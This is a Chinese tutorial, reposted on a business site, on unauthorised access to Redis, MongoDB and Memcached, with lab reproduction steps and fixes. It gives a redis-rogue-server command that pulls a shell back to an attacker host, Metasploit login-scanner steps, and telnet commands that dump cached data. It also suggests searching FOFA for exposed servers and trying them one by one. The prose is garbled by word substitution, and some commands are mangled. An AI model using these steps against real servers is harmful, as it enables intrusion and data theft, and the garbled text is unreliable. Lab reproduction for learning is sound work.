Redis未授权访问毛病
Redis 默认情况下,会绑定在 0.0.0.0:6379 ,如果没有举行采用相干的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务袒露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致恣意用户在可以访问目标服务器的情况下未授权访问Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以举行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
产生条件:
1.redis绑定在 0.0.0.0:6379,且没有举行添加防火墙规则避免其他非信任来源 ip 访问等相干安全策略,直接袒露在公网;
2.没有设置密码认证(一般为空),可以免密码远程登录redis服务
4.x/5.x未授权访问
步骤一:进入vulhub目录使用以下命令启动靶机.
- 进入目录:cd /vulhub-master/redis/4-unacc
- 启动:docker-compose up-d
- 检查:docker-compose ps
复制代码
步骤二:在Kali上安装redis程序举行服务的链接
- #安装redis
- apt-get install redis
- #redis链接
- redis-cli -h192.168.4.176-p 6379
- #redis常见命令
- (1)查看信息:info
- (2)删除所有数据库内容:flushall
- (3)刷新数据库:flushdb
- (4)看所有键:KEYS *,使用select num可以查看键值数据。
- (5)设置变量:set test"whoami"
- (6)config set dir dirpath 设置路径等配置
- (7)config get dir/dbfilename 获取路径及数据配置信息
- (8)save保存
- (9)get 变量,查看变量名称
复制代码
步骤三:可以直接毗连实行命令且不必要认证说明存在未授权访问毛病间.….下载以下攻击项目..
- https://github.com/n0b0dyCN/redis-rogue-server
复制代码
步骤四:使用工具实行以下命令获取目标的命令实行情况,交互时输入i 键会获取Shell情况
- python3 redis-rogue-server.py--rhost 192.168.4.176--lhost 192.168.4.108
复制代码
---------------------------------------
MongoDB未授权访问毛病
开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库恣意操作(增、删、改、查高危动作)而且可以远程访问数据库。
毛病缘故原由:
造成未授权访问的根本缘故原由就在于启动 Mongodb 的时候未设置 --auth 也很少会有人会给数据库添加上账号密码(默认空口令),使用默认空口令这将导致恶意攻击者无需举行账号认证就可以登陆到数据服务器。
毛病复现:
步骤一:在Kali上实行以下命令搭建起MongoDB的毛病情况..
- 拉取镜像:docker pull mongo
- 启动容器:dockerrun-dp27017:27017mongodb mongo--name
- 查看容器:docker ps -a
复制代码
镜像拉不下来,去fofa搜索语句
打开Navicat一个一个测试毗连
也可尝试使用MSF中的模块举行毛病测试..不必要认证即可直接毗连..
- use auxiliary/scanner/mongodb/mongodb_loginshow options
- set rhosts 192.168.4.128
- set threads 15
- exploit
复制代码
------------------------------------------
Memcached未授权访问毛病
Memcached 是一套常用的 key-value 分布式高速缓存系统,由于 Memcached 的安全设计缺陷没有权限控制模块,以是对公网开放的Memcache服务很轻易被攻击者扫描发现,攻击者无需认证通过命令交互可直接读取 Memcached中的敏感信息。
毛病复现:
步骤一:下载Memcached程序并实行以下命令..启动Memcached毛病情况
- #Memcached程序下载
- https://www.121down.com/soft/softview-28366.htmlhttps://www.runoob.com/memcached/window-install-memcached.html
- #执行命令
- memcached.exe -d install
- memcached.exe -d start
复制代码 步骤二:使用Telnet程序探测目标的11211端口.
- #Telnet探测
- telnet 192.168.4.199 11211
- #操作命令
- stats //查看memcache服务状态
- stats items //查看所有items
- stats cachedump 390//获得缓存key
- get:state:264861539228401373:261588//通过key读取相应value获得实际缓存内容,造成敏感信息泄露
复制代码
步骤三:使用Nmap程序的脚本举行毛病扫描…
毛病修复
1.设置Memchached只允许本地访问,2.克制外网访问Memcached 11211端口。
3.配置访问控制策略。4.最小化权限运行。5.修改默认端口等。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |